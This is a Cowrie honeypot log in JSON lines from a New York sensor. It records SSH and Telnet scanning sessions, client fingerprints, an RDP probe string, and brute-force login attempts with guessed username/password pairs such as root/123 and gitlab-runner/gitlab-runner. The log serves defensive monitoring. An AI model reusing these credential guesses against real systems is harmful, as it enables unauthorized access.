{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:49.099811Z","src_ip":"31.40.204.166","session":"d345c59a26e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:49.417914Z","src_ip":"38.93.206.2","session":"00df6a71e870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":47683,"dst_ip":"159.203.135.109","dst_port":22,"session":"a92b46f95a1b","protocol":"ssh","message":"New connection: 2.57.121.112:47683 (159.203.135.109:22) [session: a92b46f95a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:51.009365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:51.014164Z","src_ip":"2.57.121.112","session":"a92b46f95a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:51.113340Z","src_ip":"2.57.121.112","session":"a92b46f95a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aprils","message":"login attempt [admin/aprils] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:51.569676Z","src_ip":"2.57.121.112","session":"a92b46f95a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"april17","message":"login attempt [admin/april17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:52.668253Z","src_ip":"2.57.121.112","session":"a92b46f95a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"applesauce","message":"login attempt [admin/applesauce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:53.766967Z","src_ip":"2.57.121.112","session":"a92b46f95a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"apache1","message":"login attempt [admin/apache1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:54.867581Z","src_ip":"2.57.121.112","session":"a92b46f95a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52654,"dst_ip":"10.17.0.5","dst_port":23,"session":"e24d5a631f7b","protocol":"telnet","message":"New connection: 152.42.224.71:52654 (10.17.0.5:23) [session: e24d5a631f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:55.732769Z"}
{"eventid":"cowrie.session.closed","duration":120.00100827217102,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:55.756210Z","src_ip":"152.42.224.71","session":"207a66fc0a29","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"antiques","message":"login attempt [admin/antiques] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:55.965815Z","src_ip":"2.57.121.112","session":"a92b46f95a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:57.064572Z","src_ip":"2.57.121.112","session":"a92b46f95a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60926,"dst_ip":"159.203.135.109","dst_port":22,"session":"60a315f8e9b9","protocol":"ssh","message":"New connection: 31.40.204.166:60926 (159.203.135.109:22) [session: 60a315f8e9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:58.813061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:58.862028Z","src_ip":"31.40.204.166","session":"60a315f8e9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46374,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f17c142bcb1","protocol":"telnet","message":"New connection: 152.42.224.71:46374 (10.17.0.5:23) [session: 2f17c142bcb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:58.940411Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:59.221494Z","src_ip":"31.40.204.166","session":"60a315f8e9b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:59.708894Z","src_ip":"31.40.204.166","session":"60a315f8e9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46362,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebbc54cd78d4","protocol":"telnet","message":"New connection: 152.42.224.71:46362 (10.17.0.5:23) [session: ebbc54cd78d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:59.843560Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:00.893114Z","src_ip":"31.40.204.166","session":"60a315f8e9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52472,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cf1e665e159","protocol":"ssh","message":"New connection: 152.42.212.128:52472 (10.17.0.5:22) [session: 0cf1e665e159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:05.780981Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:05.786308Z","src_ip":"152.42.212.128","session":"0cf1e665e159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:05.790460Z","src_ip":"152.42.212.128","session":"0cf1e665e159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":37964,"dst_ip":"10.17.0.5","dst_port":22,"session":"172b3d02ea2b","protocol":"ssh","message":"New connection: 89.108.118.91:37964 (10.17.0.5:22) [session: 172b3d02ea2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:11.460838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:11.465888Z","src_ip":"89.108.118.91","session":"172b3d02ea2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:11.605693Z","src_ip":"89.108.118.91","session":"172b3d02ea2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morozov","message":"login attempt [root/morozov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:12.025586Z","src_ip":"89.108.118.91","session":"172b3d02ea2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57808,"dst_ip":"159.203.135.109","dst_port":22,"session":"00175dc762c5","protocol":"ssh","message":"New connection: 31.40.204.166:57808 (159.203.135.109:22) [session: 00175dc762c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:12.125989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:12.131063Z","src_ip":"31.40.204.166","session":"00175dc762c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35236,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ffd25a713f1","protocol":"telnet","message":"New connection: 152.42.224.71:35236 (10.17.0.5:23) [session: 4ffd25a713f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:12.266984Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:12.288843Z","src_ip":"31.40.204.166","session":"00175dc762c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:12.811895Z","src_ip":"31.40.204.166","session":"00175dc762c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:13.161578Z","src_ip":"89.108.118.91","session":"172b3d02ea2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":102.67596912384033,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:13.699827Z","src_ip":"152.42.224.71","session":"b3ed221256aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:13.982197Z","src_ip":"31.40.204.166","session":"00175dc762c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.0667097568512,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:14.766196Z","src_ip":"152.42.224.71","session":"a4ca68553495","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35252,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad39ec935a24","protocol":"telnet","message":"New connection: 152.42.224.71:35252 (10.17.0.5:23) [session: ad39ec935a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:15.477402Z"}
{"eventid":"cowrie.session.closed","duration":50.10177659988403,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:16.534601Z","src_ip":"152.42.224.71","session":"2fae65bc6cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49784,"dst_ip":"10.17.0.5","dst_port":23,"session":"91eb578f3133","protocol":"telnet","message":"New connection: 152.42.224.71:49784 (10.17.0.5:23) [session: 91eb578f3133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:17.529528Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49796,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c13c835385b","protocol":"telnet","message":"New connection: 152.42.224.71:49796 (10.17.0.5:23) [session: 6c13c835385b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:18.419581Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49806,"dst_ip":"10.17.0.5","dst_port":23,"session":"daa986f1b41c","protocol":"telnet","message":"New connection: 152.42.224.71:49806 (10.17.0.5:23) [session: daa986f1b41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:19.758949Z"}
{"eventid":"cowrie.session.closed","duration":53.859671115875244,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:23.723310Z","src_ip":"152.42.224.71","session":"4bdc39fb1c10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":47462,"dst_ip":"159.203.135.109","dst_port":22,"session":"c36a39a6b647","protocol":"ssh","message":"New connection: 193.37.70.224:47462 (159.203.135.109:22) [session: c36a39a6b647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:23.969890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:23.974882Z","src_ip":"193.37.70.224","session":"c36a39a6b647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45714,"dst_ip":"159.203.135.109","dst_port":22,"session":"91a42ca4e8aa","protocol":"ssh","message":"New connection: 31.40.204.166:45714 (159.203.135.109:22) [session: 91a42ca4e8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:23.984322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:23.997318Z","src_ip":"31.40.204.166","session":"91a42ca4e8aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:24.068916Z","src_ip":"193.37.70.224","session":"c36a39a6b647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:24.116732Z","src_ip":"31.40.204.166","session":"91a42ca4e8aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"romanova","message":"login attempt [root/romanova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:24.355151Z","src_ip":"193.37.70.224","session":"c36a39a6b647","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:24.883564Z","src_ip":"31.40.204.166","session":"91a42ca4e8aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:25.450298Z","src_ip":"193.37.70.224","session":"c36a39a6b647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:26.015595Z","src_ip":"31.40.204.166","session":"91a42ca4e8aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.545652627944946,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:26.195309Z","src_ip":"152.42.224.71","session":"c128d5abff5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40988,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6de4978203","protocol":"telnet","message":"New connection: 152.42.224.71:40988 (10.17.0.5:23) [session: bb6de4978203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:28.478878Z"}
